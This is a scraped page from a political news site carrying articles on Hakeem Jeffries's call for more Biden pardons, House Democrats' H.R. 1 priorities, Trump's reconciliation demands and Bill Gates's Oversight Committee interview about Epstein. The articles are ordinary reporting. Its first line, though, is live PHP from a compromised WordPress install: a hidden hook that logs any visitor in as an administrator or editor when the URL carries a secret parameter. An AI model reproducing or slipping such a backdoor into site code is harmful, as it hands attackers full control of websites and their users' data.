// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Jeffries calls on Biden to pardon more Americans – Blue Light News
Connect with us

Congress

Jeffries calls on Biden to pardon more Americans

Published

2 years ago

on

House Minority Leader Hakeem Jeffries called on President Joe Biden to pardon more people convicted of nonviolent offenses amid controversy over the president’s pardon of his son, Hunter Biden.

“During his final weeks in office, President Biden should exercise the high level of compassion he has consistently demonstrated throughout his life, including toward his son, and pardon on a case-by-case basis the working-class Americans in the federal prison system whose lives have been ruined by unjustly aggressive prosecutions for nonviolent offenses,” Jeffries said in a statement.

Jeffries’ comments echo the calls from some other Democrats who in recent days have asked Biden to use his clemency powers for more Americans in federal custody besides Hunter and to address sentencing disparities. But it did not pass judgment on the pardon of Hunter Biden itself. Some in the caucus have openly criticized the president since the pardon was issued and said it could tarnish his legacy and open a lane for Donald Trump to issue similar sweeping pardons.

Related Topics:
Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Hakeem Jeffries says Democrats will prioritize affordability. Not all of his members agree.

Published

3 minutes ago

on

June 11, 2026

By

Hakeem Jeffries made clear this week “affordability” is House Democrats’ primary focus as the minority leader launched an effort to turn the party’s cost-of-living message into actual legislation ahead of the November midterms.

One problem: not all Democrats agree affordability is Job 1.

Multiple top lawmakers interviewed this week said they hope an incoming House Democratic majority would prioritize other issues — ranging from voting rights to anti-corruption measures to simply rolling back Trump administration initiatives — in the party’s signature bill, traditionally designated “H.R. 1.”

Even as new inflation figures showed prices rising at the highest annual rate since 2023 — driven by the Trump administration’s lingering war with Iran — some Democrats argued it would make sense to elevate other issues.

“We must secure and guarantee the right to vote and to have free and fair elections, because that is the basic premise of democratic society,” Rep. Jamie Raskin of Maryland, the top Democrat on the Judiciary Committee, said in an interview. “We are constantly trying to escape the undertow of voter suppression, extreme gerrymandering, and attacks on the election process.”

Securing voting rights and overhauling elections was the subject of the last H.R. 1 Democrats introduced, under then-Speaker Nancy Pelosi when her party was trying to forge a path forward after President Donald Trump’s first election. But that legislation not only failed to become law, it could not connect viscerally with disaffected voters who later returned Trump to office.

Now Jeffries faces a test as a would-be speaker in rallying his 212-member caucus behind not only a campaign message but also palatable, passable legislation that the party can champion ahead of the 2028 campaign cycle.

While House Democrats broadly agree they should attempt to lower costs in early legislation should they take back the majority, they also recognize the symbolic heft of designating a bill H.R. 1. Major economic bills passed under Trump and former President Barack Obama also carried the designation.

That symbolism is especially important given the fact that any Democratic bill won’t become law so long as Trump is in the White House.

“Democrats need to reinspire the country,” Rep. Greg Casar (D-Texas), chair of the Congressional Progressive Caucus, said in an interview. “And that’s going to be in part a way to do that, is to show people what we stand for.”

The last Democratic H.R. 1 was also known as the For the People Act, which focused on beefing up government ethics, cracking down on untraceable “dark money,” ensuring voting access and eliminating partisan gerrymandering.

There’s an appetite in the caucus beyond just Raskin for revisiting those issues in a signature bill. Rep. Yvette Clarke (D-N.Y.) said the Congressional Black Caucus, which she leads, would also like to see a major Democratic voting rights bill, the John R. Lewis Voting Rights Advancement Act, revived in any new H.R. 1. That push has gained momentum in recent weeks since the Supreme Court further rolled back the Voting Rights Act of 1965, allowing Louisiana and other red states to carve up majority-minority districts before the midterms.

Yet Clarke also said that she personally would prefer her party rally around “comprehensive immigration reform” as its first bill should it gain the majority.

Jeffries seemed to settle the debate earlier this week when he told reporters at a Monday news conference that “when we look at the legislation that we’re going to lean into — including but not limited to H.R. 1 — it will be hyper-focused on driving down the high cost of living.”

Many Democrats see the wisdom in that strategy and are ready to embrace a slate of affordability legislation as prices surged this week.

“Democrats should be confident that our economic message is resonating with people,” Rep. Jim McGovern (D-Mass.) said in an interview Wednesday as the new inflation data sunk in. “People understand that inflation matters, and it’s not something you should love.”

But even those Democrats who agree that lowering costs has to be top of mind have differing perspectives on how to do it.

The leader of the Congressional Hispanic Caucus, Rep. Adriano Espaillat (D-N.Y.), said he, for instance, wants H.R. 1 to claw back Immigration and Customs Enforcement funding and redirect it to programs that saw cuts under the GOP trifecta, such as Medicaid and affordable housing.

The two largest ideological Democratic caucuses — the Progressive Caucus and the centrist New Democrats Coalition — target overlapping issues in their respective affordability agendas. But the CPC also eyes federally guaranteed paid time off and the abolition of super PACs.

Rep. Brad Schneider (D-Ill.), the New Democrats chair, told reporters last week that he wants the party to undo Trump’s global tariffs in their first action in a potential majority, while the CPC does not touch on tariffs at all.

“Our first action will be to stop the damage that this administration is doing to our economy and our local communities,” Schneider said. “If we address those tariffs, that would be a big step.”

Jeffries announced five working groups this week designed to broker consensus around lowering the cost of housing, gas and utilities, groceries and goods, caregiving and health care. The groups are led by at least one CPC member and one New Democrats member.

Rep. Alexandria Ocasio-Cortez (D-N.Y.) and Rep. Terri Sewell (D-Ala.), for instance, will be leading the health care effort — and approaching the issue from very different perspectives. Ocasio-Cortez as a leading advocate for a Medicare-for-All-style single-payer program while an action plan compiled by Sewell for the New Democrats last year takes a more moderate approach to expanding coverage.

“If I could wave my magic wand, we’d all have guaranteed health care,” Ocasio-Cortez said in an interview.

Jeffries has not weighed in on specifics, but said Monday that “fixing our broken health care system” would be “a part” of the Democratic agenda.

Continue Reading

Congress

Trump demands $350B Pentagon infusion, elections overhaul in next party-line GOP bill

Published

6 hours ago

on

June 11, 2026

By

President Donald Trump laid out twin demands for new party-line Republican legislation Wednesday night, directing lawmakers to deliver a massive Pentagon cash infusion and to push through an election overhaul that has stalled for weeks in the Senate.

Trump detailed his request for the bill, to be passed under budget reconciliation rules that can avoid a filibuster from Senate Democrats, in a Truth Social post calling on the GOP to act “IMMEDIATELY.”

“No games, no delays, and no weak compromises!” he wrote. “Do this ASAP.”

The legislation would be Republicans’ third attempt at a reconciliation bill this Congress, following last year’s tax-cuts-focused “big, beautiful bill” and the $70 billion immigration enforcement funding infusion Trump just signed Wednesday morning.

GOP congressional leaders, particularly in the House, have taken preliminary steps toward “Reconciliation 3.0” in recent months. But there is still massive skepticism in the Republican ranks over whether it can get done in the handful of scheduled legislative workweeks remaining before the November midterms.

The immigration enforcement bill barely made it over the finish line, given both the tight House and Senate margins and Trump repeatedly introducing political complications, such as asking for funding that could be used for his controversial White House ballroom.

Now Trump is asking for $350 billion in new defense spending, on top of his administration’s pending fiscal 2027 request, as well as passage of the stalled SAVE America Act.

Two top Senate appropriators, Sens. Susan Collins of Maine and Mitch McConnell of Kentucky, both suggested at a hearing this week on the administration’s defense budget that another party-line bill was a pipe dream.

Among the challenges GOP leaders will face: Fiscal hawks in the party will demand spending offsets for the that could necessitate cuts to safety-net programs that vulnerable incumbents are likely to resist making just months ahead of Election Day.

The SAVE America Act, meanwhile, has repeatedly fallen short of the support it needs to pass the Senate, and very little of that legislation is thought to comply with the strict fiscal rules governing the reconciliation process.

Top congressional Republicans are just as likely to note what Trump did not include in his request, such as additional tax cuts some in the GOP are promoting or cost-cutting “anti-fraud” measures eyed by fiscal hawks.

Continue Reading

Congress

Lawmakers once saw Bill Gates as a benevolent innovator. After Epstein, they aren’t sure.

Published

8 hours ago

on

June 11, 2026

By

Tech mogul Bill Gates expressed remorse for his association with Jeffrey Epstein during his closed-door interview Wednesday with the House Oversight Committee. But lawmakers are unsure if his contrition will — or should — be enough to prevent irreconcilable damage to his reputation and standing as a leading innovator and philanthropist.

The Microsoft founder and global health champion made his case to committee members as part of their ongoing investigation into Epstein, a convicted sex offender who died by suicide behind bars in 2019, and the people who might have helped carry out his crimes. Over the course of hours, Gates insisted he did not know about Epstein’s misdeeds and that he never witnessed or took part in the late financier’s criminal behavior.

Rep. Melanie Stansbury (D-N.M.) said Gates described his relationship with Epstein inside the room as a “means” to support his work of pouring massive amounts of money into humanitarian causes around the world.

“He admitted that he knew of Mr. Epstein’s reputation,” she told reporters during a break in the proceedings. “He admitted that he knew that he had been convicted of [sex] crimes. But ultimately, in his words, he viewed this narrow relationship as being an acceptable means to access wealthy donors.”

Gates’ own self-professed “grave error in judgment” has cost him goodwill in Washington and beyond as a leading tech and energy figure and a benevolent humanitarian. Oversight Committee members are conflicted, however, about whether they should accept Gates’ retelling of a transactional, if morally compromised, relationship, while so many other individuals found to have been in Epstein’s orbit have been unable to recover their reputations.

Former Treasury Secretary Larry Summers, for instance, was forced to resign from Harvard, while Brad Karp stepped down from chairing the major law firm Paul, Weiss.

The top Democrat on the House Oversight committee, Rep. Robert Garcia of California, told reporters that members of the panel would protect no one found implicated in Epstein’s misdeeds: “We have said we want to talk to anyone. We don’t care if they’re a Republican, Democrat — how wealthy they are.”

Rep. James Walkinshaw (D-Va.), a member of the Oversight panel, highlighted the thousands, if not hundreds of thousands, of lives saved by Gates’ contributions.

He said he “deeply, deeply admires [Gates’] commitment to global health and to philanthropy.” But he also noted, “that reality coexists with the reality that he made some terrible, terrible mistakes in engaging with Jeffrey Epstein. … People will have to judge whether one outweighs the other.”

“In my mind,” Walkinshaw said, “those two realities and facts exist. I can’t reconcile them.”

Gates drew scrutiny for appearances in the so-called Epstein files released by the dead sex trafficker’s estate and by the Justice Department, including pictures showing him standing next to women whose identities are unknown. Gates has said he posed with the women — whom he described as Epstein employees — because Epstein asked him to.

In one email released by the Justice Department, Epstein appears to allege that he helped obtain medicine for Gates to treat a sexually transmitted infection.

“As Mr. Gates has consistently stated, and reiterated to the House Oversight Committee, he never witnessed nor had any indication of Epstein’s ongoing criminal conduct. He never visited Epstein’s island, his ranch, or Florida home, and has never victimized anyone,” a Gates spokesperson said in a statement Wednesday.

“When asked about photos in which he appeared with women in Epstein’s orbit, Mr. Gates noted that none of them participated in his meetings with Epstein — they were not introduced to him by name or role and had no substantive interaction with him beyond being asked by Epstein to stand for a photograph,” the spokesperson continued. “Mr. Gates expressed sadness for the suffering endured by anyone harmed by Epstein’s crimes.”

But the evidence in the Epstein files was enough to prompt members of the Oversight Committee to express interest in interviewing Gates along with others featured in the trove, including Bill and Hillary Clinton, Commerce Secretary Howard Lutnick and the billionaire businessman Les Wexner.

On Wednesday, Gates recalled interacting with Epstein in the 2010s in hopes of using Epstein’s connections to support his philanthropy in public health, according to the prepared remarks published on Gates’ website. When it became clear that the potential donors connected to Epstein were uninterested in providing funding, Gates told lawmakers he cut Epstein off. Then, Gates contended, Epstein tried to use knowledge of Gates’ affairs to “pressure [Gates] to re-engage with him.”

Lawmakers did note that Gates has been cooperative and that he gave the committee some interesting names. Rep. Stephen Lynch (D-Mass.) told reporters that Gates had provided the names of individuals in Epstein’s circle who helped facilitate connections with Gates or his foundation.

Expanding the universe of people within Gates’ network who might have had ties to Epstein could further complicate the billionaire philanthropist’s legacy. So far, humanitarian groups are sticking with him and the Gates Foundation, the largest private provider of global health funding. These partnerships have become even more crucial after the Trump administration last year slashed billions in global health and foreign aid funds, leaving many U.S.-based and international health organizations struggling.

House Oversight Chair James Comer (R-Ky.) noted that Gates, who appeared before lawmakers voluntarily rather than under the force of a subpoena, answered every question. He said he thanked Gates for coming in and for his philanthropy.

“He regretted his brief relationship with Epstein — that’s kind of a recurring theme,” Comer said, while adding that is “just what everybody says.”

Following his transcribed interview, Gates released a statement saying he “appreciated the opportunity to meet with the House Oversight Committee.”

He added that he “support[s] the release of all the files and hope my participation contributes to getting justice for the victims.”

Carmen Paun contributed to this report.

Continue Reading

Trending